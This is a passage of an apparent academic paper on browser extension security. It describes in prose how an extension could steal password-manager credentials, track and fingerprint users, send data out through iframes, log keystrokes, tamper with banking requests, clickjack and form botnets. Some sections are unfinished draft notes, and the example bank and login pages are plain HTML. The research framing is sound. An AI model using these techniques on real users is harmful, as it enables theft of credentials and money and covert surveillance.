We use `setTimeout` to delay the execution of our functionality for 500 milliseconds to give the password manager the time to fill in the credentials. On line 2, we search for an input element of type password and select the closest form element in the DOM tree which is the login form. With the condition on the next line, we check if a form was found and in that case we forward the URL-encoded form to our `send` method.

Lujo Bauer et al. described extended attacks that open predefined login pages and steal possible credentials from the password manager [15]. Their attacks use different strategies to hide the opened pages from the user.

- Open the page in a inactive tab and reload the original page after the attack was performed.
- Open the page in a new tab within a window that is currently not in the foreground.
- Add an invisible `iframe` to a web page and load the targeted page in it. This strategy needs the content script option `all_frames` with which a content script executes in iframes.

We implemented these strategies but none of them works in Chrome or Opera. After the password manager has filled in the user's credentials, the value in the password field is not available to JavaScript before any user interaction with the web page has happened. It first looked like a bug, but it is an intended security feature [37]



---

## 5.2 User Tracking

---

User tracking refers to the linking of multiple web pages that were visited by the same user, thus allowing to follow the path a user has taken from website to website. User tracking is known to harm the user's privacy and to counter attempts to stay anonymous when browsing in the internet. But there are also benign reasons for user tracking, for instance improving the usability of a website based on collected information.

Advertising is the main reason for user tracking. Companies pay large amounts of money to display advertisements for the purpose of increasing their sales volume. Without knowledge about the consumer's interest, a company can not advertise a particular product with success. A consumer is more likely to buy a product - what the goal of advertising is - that fits his needs. Therefore, companies want to collect information's about the consumer and his interests. Given, that more and more consumer use the internet nowadays, companies focus on websites as advertising medium. The collection and evaluation of a website's user data gives advertising companies the chance to personalize their advertisements. They can display advertisements on websites that with a high degree of probability match the current user's needs. Because this advertising strategy increases their profit, companies pay more money to website's that provide their user data for personalized advertising. Big companies such as Google or Facebook use targeted advertising as their business model. But also small websites embed use personalized advertising allowing them to compensate their losses from offering their services for free.

Another area for which user tracking is used are web analytics. User data and web traffic is measured, collected, and analyzed to improve web usage. Targeted data is primarily the user's interaction with and movement through the website such as how long a web page is visited, how the user enters and leaves the website, or with which functionality he has trouble. On the basis of these information the website's developer can improve a web page's performance and usability. If used for a vending platform, these information can also be used to coordinate for example sale campaigns.

The tracking of a user is often accomplished by storing an identifier on the user's system the first time the user visits a tracking website. Reading out the identifier from another website allows to create a tracking profile for the user. In the following passage we describe several methods used for user tracking.

**Tracking Cookies** The first used web technology used to track users were HTTP cookies. Shortly after the introduction of cookies, first third-party vendors were observed that used cookies to track users between different web pages. If a user visits a web page that includes a resource from the tracking third-party, a cookie is fetched together with the requested resource and acts as an identifier for the user. When the user now visits a second web page that again includes some resource from the third-party, the stored cookie is send along with the request for the third-party's resource. The third-party vendor has now successfully tracked the user between two different web pages.

**Local Shared Objects** Flash player use a technique similar to cookies to synchronize data between different browser sessions. The data is locally stored on the user's system by websites that use flash. Flash cookies as tracking mechanism have the advantage that they track the user behind different browsers and they can store up to 100KB whereas HTTP cookies can only store 4KB. Before 2011, local shared objects could not easily be deleted from within the browser because browser plugins hold the responsibility for their own data. In 2011 a new API<sup>11</sup> was published that simplifies this mechanism.

**Evercookies** Evercookie is a JavaScript framework implemented to produce persistent identifiers in a browser that are difficult to remove [23]. Therefore, it uses multiple storage technologies such as HTTP and Flash cookies, HTML5 storages, web history and cache, and unusual techniques such as storing the identifier in RGB values of cached graphics. To hamper the removing from a browser, it recreates deleted identifiers as soon as the user visit a web site that uses the framework. The user has to delete every stored identifier to remove the evercookie completely.

**Web Beacon** A web beacon is a remote loaded object that is embedded into an HTML document usually a web page or an email. It reveals that the document was loaded. Common used beacons are small and transparent images, usually one pixel in size. If the browser fetches the image it sends a request to the image's server and also sends possible tracking cookies along. This allows websites to track their user on other sites or gives the email's sender the confirmation that his email was read. A good example is Facebook's "like" button or similar content from social media websites. Those websites are interested into what other pages their users visit. The "like" button reveals this without the need to be invoked by the user.

---

<sup>11</sup> <https://wiki.mozilla.org/NPAPI:ClearPrivacyData>

---

We can use an extension to simplify user tracking. An extension's content script can communicate with the underlying web page over the DOM specific function `window.postMessage`. The extension can store a unique identifier and use this channel to provide it to a tracking website.

---

### 5.3 User Identification

---

Previously described methods for tracking a user identify him based on some data which was intentionally stored on the user's system. Those stored identifiers are vulnerable to deletion by the user. A more efficient way to track the user is to identify him based on data that is already provided by the browser. If collected and merged, those information may create an unique fingerprint for the user's current browser. Theoretically, it is possible to identify every person on earth with a fingerprint with the size of approximately 33 bit. Currently eight billion people live on our planet. Using 33 bit of different information we could identify  $2^{33} = 8,589,934,592$  people. But the same kind of information taken from different users will probably equal. Therefore, a broad range of different information flow into the creation of an unique fingerprint.

There exists numerous scientific papers about fingerprinting techniques [35, 27, 30, 20, 28, 31]. Because detailed descriptions are off topic for our paper, we focus on a brief description of popular methods.

**Browser Fingerprinting** The browser provides a variety of specific information to a web page that can be used to generate a fingerprint of the user's browser. The following list shows examples of fingerprinting properties and how to access them using JavaScript.

Property	JavaScript API	Example Output
System	<code>navigator.platform</code>	"Win32"
Browser Name	<code>navigator.userAgent</code>	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
Browser Engine	<code>navigator.appName</code>	"Netscape"
Screen Resolution	<code>screen.width</code> <code>screen.height</code> <code>screen.pixelDepth</code>	1366 (pixels) 768 (pixels) 24 (byte per pixel)
Timezone	<code>Date.getTimezoneOffset()</code>	-60 (equals UTC+1)
Browser Language	<code>navigator.language</code>	"de"
System Languages	<code>navigator.languages</code>	["de", "en-US", "en"]

**Fonts** The list of fonts available to a web page can serve as part of a user identification. The browser plugin Flash provides an API that returns a list of fonts installed on the current system. As per current scientific works, the order of the fonts list is stable and machine-specific. If the Flash plugin is not available in a browser, JavaScript can be used to test whether particular fonts are installed or not. This approach needs a predefined list and may not cover unpopular fonts. It is implemented by writing a string with each font on the web page. If a font is not installed, the browser uses a fall-back font to draw the text. Comparing the width and hight of the drawn font to those of the fall-back font gives an evidence about the font being installed.

**History Sniffing** Reading out the user's web history can not only serve as fingerprinting method but also to simplify user tracking. An outdated approach to test if a user has visited a particular web page was to use the browser's feature to display links to visited web pages in a different color. A web site would hidden from the user add a list of URLs to a web page as link elements and determinate the displayed color. Nowadays, link elements that were queried by JavaScript calls behave like unvisited links fixing the tread from this sniffing attack. A current approach detects the redrawing of link elements to determine if the underlying web page was visited before [35]. If a link is drawn the first time, it is drawn as an unvisited link and simultaneously a query to the browser's web history database is send. When the query returns that the web page behind the link was visited before, it redraws the link element. This event can be captured giving the desired evidence.

**JavaScript Benchmark Testing** The execution speed of a JavaScript engine depends on the implementation but also on the systems processor architecture and clock speed. Keaton Mowery et al. implemented a set of benchmark test suits to fingerprint different execution speeds [27]. Using these information, they could distinguish between major browser versions, operating systems and micro architectures.

steal the users data, read form elements in the DOM or read the data from outgoing POST requests, steal user credentials such as username and password, read chat messages from facebook or similar, read emails if the user logs into his email account, use DOM to change links to malicious websites, use web request interception to redirect requests to malicious websites, for example to duplicates from trusted websites such as bank websites,

**Send Data** It is possible to send data to any host without corresponding host permissions. To achieve this we need an injected content script in any web page. We create a new iframe element and set its `src` attribute to the URL of our target server. The iframe tries to load the web page from our target server by calling the given URL with an HTTP request. The request is not restricted by host permissions because it is an iframe's purpose to load web pages from another domain. The separation between the web page loaded in the iframe and the parent web page is secured by the same origin policy. It prevents scripts to access content which is not from the same origin as the script itself. Therefore, the content script can not access the iframe's content. In conclusion, we can send out data by modifying the source URL of an iframe but we can not receive data because we are prevented by the same origin policy to access the returned content.

**Visited Web Sites** We can identify web pages the user visited with a single content script in any web page and no further permission. For that purpose we add a link element to the web pages DOM. We set the URL to the web page for which we want to know whether the user has already visited it. Most browser change the color of a link whose web page the user has visited. We can identify such web pages by creating a list of link elements hidden to the user and reading out their color. Of course we can implement this easier by reading out the browser's history. But to access the history we need the corresponding permission and would declare our intention. The method with the link elements would be the better choice if we want to be stealthy. But if we do not have a list against which we can test URLs, reading out the history would be the better choice.

**Key Logger** A key logger is a piece of software that stores the keyboard and mouse input from the user. It is implemented with minimal effort using JavaScript by adding an event to the DOM's root element. This event is triggered if the user presses a button or moves the mouse and can then store this information.

**Man-in-the-browser** [18] The Man-in-the-browser (MITB) is a browser based attack related to man-in-the-middle attack (MITM). The MITM is attack scenario in computer cryptography against the communication between two parties who directly communicate with each other. The attacker secretly either intercepts and possibly alters the traffic or he impersonates one party and deceives the other party who still thinks he communicates with the impersonated party. MITM has to bypass security layers such as encryption or mutual authentication to gain access to the communication channel. The attack uses either vulnerabilities in obsolete cryptography algorithm or exploits in buggy implemented soft or hardware. An MITB attack is located inside the browser from where it intercepts in and outgoing web requests. The attack will be successful irrespective of security mechanisms because it takes place before any encryption or authentication is applied. An MITB often comes in the form of a Trojan Horse that infects the browser with its code. An extension can be used because a simple realization in extensions because an extension can intercept all in- and outgoing web requests, e.g. the `webRequest` module, example attack banking: user logs into banking portal, sends data for transaction, extension reads outgoing request, changes target account and the transfer amount, banking server can not recognize manipulated request, sends back receipt, extension reads ingoing web request, changes manipulated data back to original data, modern bank systems use more secure authentication methods, for example TAN generator calculates TAN from target account number and data stored on user's banking card a related and simpler attack than the MITB is the boy-in-the-browser attack, it changes the proxy of the browser to perform a MITM attack, deletes itself after finishing, extension can also route all outgoing traffic over a malicious proxy

**User Interface redress attack (Clickjacking)** [34] "hijack" user mouse input to perform cross domain attacks, load a malicious web page inside an iframe and make every element invisible except the target clickable element or make the whole iframe transparent, now put it at the top most layer in the DOM, if the user now executes mouse input it is directed to the invisible or transparent iframe without him noticing, the executed input can be navigated by positioning the target element inside the iframe either over areas on the displayed page where the user is likely to interact with or directly under the cursor, mostly target social media such as facebook's like button, using drag and drop it is possible to run Cross-Site-Request-Forgery (csrf) attacks where a HTML form is send from a cross-origin, to prevent this a token is used that is invisibly embedded inside the form, the token is created when the form is build on the server and compared when the form is send back to the server, clickjacking can bypass this security mechanism by loading the form inside the invisible iframe and letting the user fill it with drag and drop, if the user triggers a drop event it is navigated to the invisible form input field and the attacker can manipulate the dropped content, finally a click is hijacked to submit the form, in reverse can this mechanism be used to bypass the same origin policy, if the user starts the drag he drags elements

---

from the invisible iframe to which the displayed web page has no access due to the same origin policy, if it is now dropped on the displayed web page it can be accessed,

**Botnet** a botnet is a network consisting of multiple compromised clients, those can be controlled to execute large scaled internet attacks such as Distributed Denial of Service (DDoS) or spamming, DDoS is a web based attack targeted to make an web service unavailable by overwhelming it with traffic, a botnet can be used to call the web service from different sources multiple times per second, the attack can either target the network and flood its bandwidth or the application itself using up all the computer's resources, the web service will be unavailable for the general public [26] Browser extension can be used as bot's. They are hosted on many different computers and can execute web requests. A message channel is needed to command the bots to execute some task. One possible way is to let the extension fetch its command from a server. But this method can be tracked down to the person controlling the botnet who of course wants to remain unknown. A more stealthy way is to use an extension's automatically update service. The command can be added for example as a text file which will be parsed by the extension if a new update was installed. The extension can not only launch DDoS attacks but can also be used to spam emails. Therefor the extension can use the user's email account. If the user logs into his account the extension can either use send E-Mails itself over the

---

## 6 Extension Analysis

---

**Google Translate** 6,049,594 users

Adds a context menu entry for the web page to translate highlighted text. Opens the Google translation page in a new tab with the selected text and its translation. Adds an pop up with a text field to translate text or to translate the whole page.

This extension defines in its manifest:

- A non-persistent background page
- A content script with the *<all\_urls>* URL patter
- The permissions *activeTab*, *contextMenus*, *storage*
- A modified CSP. Enables eval and the loading of scripts from <https://translate.googleapis.com>

The user gets following warnings on installation:

- Read and change all your data on the websites you visit

---

## References

---

- [1] Chrome Developer - JavaScript APIs. [https://developer.chrome.com/extensions/api\\_index](https://developer.chrome.com/extensions/api_index). [accessed 2015-12-26].
- [2] Dev.Opera - Extension APIs Supported in Opera. <https://dev.opera.com/extensions/apis/>. [accessed 2015-12-26].
- [3] Dev.Opera - Publishing Guidelines. <https://dev.opera.com/extensions/publishing-guidelines/#acceptance-criteria>. [accessed 2016-01-18].
- [4] DOM Browser Support. <http://www.webbrowsercompatibility.com/dom/desktop/>. [accessed 2015-12-26].
- [5] MDN ADD-ON SDK - Chrome Authority. [https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Chrome\\_Authority](https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Chrome_Authority). [accessed 2016-01-04].
- [6] MDN ADD-ON SDK - High-Level APIs. [https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level\\_APIs](https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs). [accessed 2016-01-04].
- [7] MDN ADD-ON SDK - Low-Level APIs. [https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level\\_APIs](https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs). [accessed 2016-01-04].
- [8] MDN ADD-ON SDK - Observer Notification. [https://developer.mozilla.org/en-US/docs/Observer\\_Notifications](https://developer.mozilla.org/en-US/docs/Observer_Notifications). [accessed 2016-01-04].
- [9] Mdn add-ons - review policies.
- [10] MDN JavaScript Reference - Don't use eval needlessly! [https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global\\_Objects/eval#dont-use-it](https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global_Objects/eval#dont-use-it). [accessed 2015-12-29].
- [11] MDN WebExtensions - Chrome incompatibilities. [https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome\\_incompatibilities](https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities). [accessed 2015-12-26].
- [12] Mozilla Wiki - WebExtensions. <https://wiki.mozilla.org/WebExtensions>. [accessed 2015-12-30].
- [13] S. Bandhakavi, N. Tiku, W. Pittman, S. T. King, P. Madhusudan, and M. Winslett. Vetting browser extensions for security vulnerabilities with vex. *Commun. ACM*, 54(9):91–99, Sept. 2011.
- [14] A. Barth, A. P. Felt, P. Saxena, A. Boodman, A. Barth, A. P. Felt, P. Saxena, and A. Boodman. Protecting browsers from extension vulnerabilities. In *in Proceedings of the 17th Network and Distributed System Security Symposium*, 2010.
- [15] L. Bauer, S. Cai, L. Jia, T. Passaro, and Y. Tian. Analyzing the dangers posed by Chrome extensions. In *Proceedings of the IEEE Conference on Communications and Network Security*, pages 184–192. IEEE, Oct. 2014.
- [16] A. Bovens. Dev.Opera - Major Changes in Opera's Extensions Infrastructure. <https://dev.opera.com/articles/major-changes-in-operas-extensions-infrastructure/>. [accessed 2015-12-11].
- [17] N. Carlini, A. P. Felt, and D. Wagner. An evaluation of the google chrome extension security architecture. In *Proceedings of the 21st USENIX Conference on Security Symposium*, Security'12, pages 7–7, Berkeley, CA, USA, 2012. USENIX Association.
- [18] K. Curran and T. Dougan. Man in the browser attacks. *Int. J. Ambient Comput. Intell.*, 4(1):29–39, Jan. 2012.
- [19] M. Dhawan and V. Ganapathy. Analyzing information flow in javascript-based browser extensions. In *Proceedings of the 2009 Annual Computer Security Applications Conference, ACSAC '09*, pages 382–391, Washington, DC, USA, 2009. IEEE Computer Society.
- [20] P. Eckersley. How unique is your web browser? In *Proceedings of the 10th International Conference on Privacy Enhancing Technologies, PETS'10*, pages 1–18, Berlin, Heidelberg, 2010. Springer-Verlag.
- [21] O. Hallaraker and G. Vigna. Detecting malicious javascript code in mozilla. In *Proceedings of the 10th IEEE International Conference on Engineering of Complex Computer Systems, ICECCS '05*, pages 85–94, Washington, DC, USA, 2005. IEEE Computer Society.

- 
- [22] N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis, N. Provos, M. A. Rajab, and K. Thomas. Trends and lessons from three years fighting malicious extensions. In *24th USENIX Security Symposium (USENIX Security 15)*, pages 579–593, Washington, D.C., 2015. USENIX Association.
- [23] S. Kamkar. evercookie – never forget. <http://samy.pl/evercookie/>. [accessed 2016-02-26].
- [24] A. Kapravelos, C. Grier, N. Chachra, C. Kruegel, G. Vigna, and V. Paxson. Hulk: Eliciting malicious behavior in browser extensions. In *23rd USENIX Security Symposium (USENIX Security 14)*, pages 641–654, San Diego, CA, Aug. 2014. USENIX Association.
- [25] E. Kay. Chromium Blog - Protecting Windows users from malicious extensions . <http://blog.chromium.org/2013/11/protecting-windows-users-from-malicious.html>. [accessed 2016-01-18].
- [26] L. Liu, X. Zhang, and S. Chen. Botnet with browser extensions. In *Privacy, Security, Risk and Trust (PASSAT) and 2011 IEEE Third International Conference on Social Computing (SocialCom), 2011 IEEE Third International Conference on*, pages 1089–1094. IEEE, 2011.
- [27] K. Mowery, D. Bogenreif, S. Yilek, and H. Shacham. Fingerprinting information in JavaScript implementations. In H. Wang, editor, *Proceedings of W2SP 2011*. IEEE Computer Society, May 2011.
- [28] K. Mowery and H. Shacham. Pixel perfect: Fingerprinting canvas in HTML5. In M. Fredrikson, editor, *Proceedings of W2SP 2012*. IEEE Computer Society, May 2012.
- [29] K. Needham. The Future of Developing Firefox Add-ons. <https://blog.mozilla.org/addons/2015/08/21/the-future-of-developing-firefox-add-ons/>. [accessed 2015-12-11].
- [30] N. Nikiforakis, A. Kapravelos, W. Joosen, C. Kruegel, F. Piessens, and G. Vigna. Cookieless monster: Exploring the ecosystem of web-based device fingerprinting. In *Proceedings of the 2013 IEEE Symposium on Security and Privacy, SP '13*, pages 541–555, Washington, DC, USA, 2013. IEEE Computer Society.
- [31] L. Olejnik, C. Castelluccia, and A. Janc. Why Johnny Can't Browse in Peace: On the Uniqueness of Web Browsing History Patterns. In *5th Workshop on Hot Topics in Privacy Enhancing Technologies (HotPETs 2012)*, Vigo, Spain, July 2012.
- [32] K. Onarlioglu, A. S. Buyukkayhan, W. Robertson, and E. Kirda. Sentinel: Securing Legacy Firefox Extensions. *Computers & Security*, 49(0), 03 2015.
- [33] M. A. Rajab. Protecting users from malicious downloads. <http://blog.chromium.org/2011/04/protecting-users-from-malicious.html>. [accessed 2015-12-26].
- [34] P. Stone. Next generation clickjacking. Technical report, Context Information Security Ltd, 2010.
- [35] P. Stone. Pixel perfect timing attacks with HTML5. Technical report, Context Information Security Ltd, 2013.
- [36] M. Ter Louw, J. S. Lim, and V. N. Venkatakrishnan. Extensible web browser security. In *Proceedings of the 4th International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment, DIMVA '07*, pages 1–19, Berlin, Heidelberg, 2007. Springer-Verlag.
- [37] vabr@chromium.org. Chromium blog issue 378419. <https://bugs.chromium.org/p/chromium/issues/detail?id=378419>. [accessed 2016-03-18].
- [38] P. Vogt, F. Nentwich, N. Jovanovic, C. Kruegel, E. Kirda, and G. Vigna. Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Network and Distributed Systems Security Symposium (NDSS)*, 02 2007.



# Trusted Bank

## Finanzial Information

Account	IBAN	Balance
Giro	DE12 4122 3321 4212 7664 98	432,03 EUR
Daily Allowance	DE32 2313 0429 3532 3466 31	10.023,42 EUR

**Figure 1:** The example bank web page which we used for our extension to steal sensitive information from.

```
1 <h1>Trusted Bank</h1>
2 <h3>Finanzial Information</h3>
3 <table border="1">
4   <thead>
5     <tr>
6       <th>Account</th>
7       <th>IBAN</th>
8       <th>Balance</th>
9     </tr>
10  </thead>
11  <tbody>
12    <tr>
13      <td>Giro</td>
14      <td>DE12 4122 3321 4212 7664 98</td>
15      <td>432,03 EUR</td>
16    </tr>
17    <tr>
18      <td>Daily Allowance</td>
19      <td>DE32 2313 0429 3532 3466 31</td>
20      <td>10.023,42 EUR</td>
21    </tr>
22  </tbody>
23 </table>
```

**Figure 2:** The HTML source code of our example bank web page.

Username:

Password:

**Figure 3:** Example web page with a login form.

```
1 <form method="post">
2   <p>
3     <label>Username:</label>
4     <input type="text" name="username" />
5   </p>
6   <p>
7     <label>Password:</label>
8     <input type="password" name="password"/>
9   </p>
10  <p>
11    <input type="submit" value="Login"/>
12  </p>
13 </form>
```

**Figure 4:** The HTML source code of our example login web page.